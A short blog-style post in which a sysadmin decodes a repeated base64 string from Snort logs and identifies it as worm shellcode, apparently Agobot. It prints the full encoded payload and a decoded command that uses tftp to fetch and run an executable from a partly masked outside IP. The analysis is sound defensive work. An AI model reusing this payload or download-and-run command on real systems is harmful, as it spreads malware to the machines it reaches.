I was looking at my Snort logs (although this would also be seen in Apache's logs) and found this string repeated many times, more each day for the last 4 days, showing up as an attempted overflow:
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQMAI4IMVwOCBAoAkEKQQpBCkEKBxFTy///86EYAAACLRTyLfAV4Ae+LTxiLXyAB6+MuSYs0iwHuMcCZrITAdAfByg0Bwuv0O1QkBHXji18kAetmiwxLi18cAeuLHIsB64lcJATDMcBki0AwhcB4D4tADItwHK2LaAjpCwAAAItANAV8AAAAi2g8XzH2YFbrDWjvzuBgaJj+ig5X/+fo7v///2NtZCAvYyB0ZnRwIC1pIDE0Mi4xNjEuNjYuNDggR0VUIHd1YW1rb3AuZXhlJnN0YXJ0IHd1YW1rb3AuZXhlJmV4aXQAQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQiMKAwgA+A8BAPgP
This was coming from all over, and looks like an exploit. Something that doesn't belong. So I whip out my trusty base64 decoder and run it through (because a lot of it is in hex, I ran it through strings to pull out any strings):
AAAAAAAAAAAAAAAAAAAAAAAAA
ÄTòÿÿüèF
ëã.I
Âëô;T$
Ã1Àd
h<_1ö`Vë
hïÎà`h
Wÿçèîÿÿÿcmd /c tftp -i 142.161.66.4x GET wuamkop.exe&start wuamkop.exe&exit
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB#
What is looks like is some shellcode that runs the command:
cmd /c tftp -i 142.161.66.4x GET wuamkop.exe&start wuamkop.exe&exit
Which is:
Run cmd, with the command tftp (an ftp client) which gets wuamkop.exe, runs it, and ends the program. (NOTE: I added the x at the end of the IP, just to prevent potential mishaps with people running that command and getting infected
)
A quick google on that filename turns up:
http://www.liutilities.com/products/wintaskspro/processlibrary/wuamkop/Which says:
Process File: wuamkop or wuamkop.exe
Process Name: WORM_AGOBOT Variant
Conclusion: It's a AGOBOT worm/trojan spreading itself using a web server vulnerability. I'm not sure which server is vulnerable but, being a .exe, it's not mine (it's a Windows worm)
Hope that somebody found that neresting.